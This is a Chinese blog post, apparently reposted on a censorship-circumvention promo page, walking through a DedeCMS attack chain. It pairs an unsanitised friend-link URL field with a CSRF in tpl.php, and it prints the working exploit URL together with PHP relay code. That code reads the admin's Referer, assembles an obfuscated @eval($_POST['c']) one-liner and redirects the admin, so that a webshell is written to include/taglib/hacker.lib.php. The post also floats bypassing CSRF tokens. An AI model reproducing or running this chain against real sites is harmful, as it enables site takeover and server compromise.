翻墙软件

很久之前一直用dedecms做二次开发、直接做模版就好了,偶尔要写原生的php代码与dede交互,简单的了解了下里面的model,并未深入,dedecms漏洞那么多、、、能不能也找出一个漏洞呢。 下载了官网最新的程序研究了下。

在前台有个提交友情链接的地方,链接是:/plus/flink_add.php,估计以前可能这里存在xss的吧。反正现在是修复了,不过发现传入的链接,在后台可以直接打开,这样就可以结合csrf进一步利用了。

dede-%e6%bc%8f%e6%b4%9e

然后这里网址的,默认有http://,也猜到了是提醒这是个http链接,后端没有判断,登陆后台看了下,果然是直接插入进去的:

<tr align="center" bgcolor="#FFFFFF" height="26" onMouseMove="javascript:this.bgColor='#FCFDEE';"onMouseOut="javascript:this.bgColor='#FFFFFF';">  <td><input type='checkbox' name='aids' value='12' class='np'></td>  <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'>&amp;lt;sc&lt;x&gt;ript&amp;gt;alert(1)&amp;lt;/scr</a></td>  <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'><img src='&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;' width='88' height='31' border='0' /></a></td>  <td>&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;</td>  <td>2016-11-04</td>  <td>未审核</td>  <td>50</td>  <td><a href='friendlink_edit.php?id=12&dopost=getedit'>[更改]</a><a href='friendlink_edit.php?id=12&dopost=delete'>[删除]</a></td>  </tr>

这样证明了可以做诱导链接了,然后下一步要找csrf可利用的功能,在后台发现一个标签编辑功能里的,dedecms好多地方都是用requests获取的值,不区分get、post,原来是post的,如果post在这肯定构造不成功,get的话,就可以借助csrf一起getshell了。

csrf 诱导 exp链接:./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php  #在当前路径执行这个get请求,写入一句话。

dede-csrf

然后就提交了,提交后,后台管理员看到的是这个样子的:

dede-csrf-exp

这里就看怎么诱导管理员点击了,一般人看不懂代码,如果点击了,会在 /include/taglib/ 目录下生成一句话 hacker.lib.php,有句话说好奇害死猫,确实是,天上那有掉馅饼的事,别贪便宜,不然容易出事。

就在最后要成功getshell的时候,发生了意外,发现网站名称的href字典限制了长度,把传入的./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php截断为./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?ph,并没有过滤,看来是限制了字符个数、还是不放弃,产生了另一种好玩的想法,感觉要比这个好玩。

一般后台审核友情链接的人都会看下网站权重,然后决定是否通过审核,这一看就会触发漏洞了。通过分析,需要填一个真实的url,而这个url要获取到referer,然后拼接url重定向,这样就可以实现getshell了,而且还可以在后端做个邮件提醒。方便知道那个站已经getshell了。

然后开始写代码了,这里费了不少时间,主要是一个问题,把代码解析为字符串,用php试过转义、字符串转化等都不成功,最后用序列化函数成功了,但是不完整,程序员的做法应该是序列化和反序列化吧,然后我使用单个字符拼接,解决了问题,其实还可以用ascii码去搞定、原来那些写各种一句话的真不容易,要对语言的任何地方都要了解,不然遇到很多未知的问题。

$exp = ‘tpl.php?action=savetagfile&actiondo=addnewtag&content=’.@eval($_POST[‘c’]).’&filename=hcaker.lib.php’;
//如果您有更好的办法,欢迎提供给我。
然后php做CSRF中转的代码如下:
//print_r($_SERVER);$referer = $_SERVER['HTTP_REFERER'];$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径//拼接 exp$muma = '@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')';$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=hacker.lib.php';$url = $dede_login.$exp;//echo $url;header("location: ".$url);// send mail coderexit();

然后就重新开始咯,在友情链接里面添加exp友情链接:http://******.com/exp.php

对方只要访问了,就自动生成 include/taglib/hacker.lib.php噢、上面没有写e-mail通知代码。

getshell-dedecms

getshell-dedecms、、、我要提交补天去、、、

之后发现有的cms会限制只允许输入域名,这也没关系,申请个域名,默认就是/index.php,一样可以getshell,还有的为了防止csrf,在请求中加了token令牌验证,这种是有可能被绕过的,绕过几率为80%,下次有机会实现js无刷新获取token令牌getshell。。。


原文出自 http://0535code.com/article/20161104_1193.shtml

请注意:网络时代讲究速度有全面的资讯,虽然互联网是一张密集的网络但由于各国之间相互交错,其实很多资讯与信息我们并不能完全获取,然而有技术的就可以通过翻墙访问全世界的每一个角落。不论您是长期从事何种职业当资源与信息匮乏时,即可通过参照本文进行简单设置电脑翻墙、手机(苹果IOS翻墙、安卓手机翻墙)、火狐浏览器翻墙、谷歌chrome浏览器翻墙等通通不在话下。并且特别针对与youtube、twitter推特、facebook翻墙等工具的使用和教程,保持长期稳定的更新幅度保障大家畅连全世界!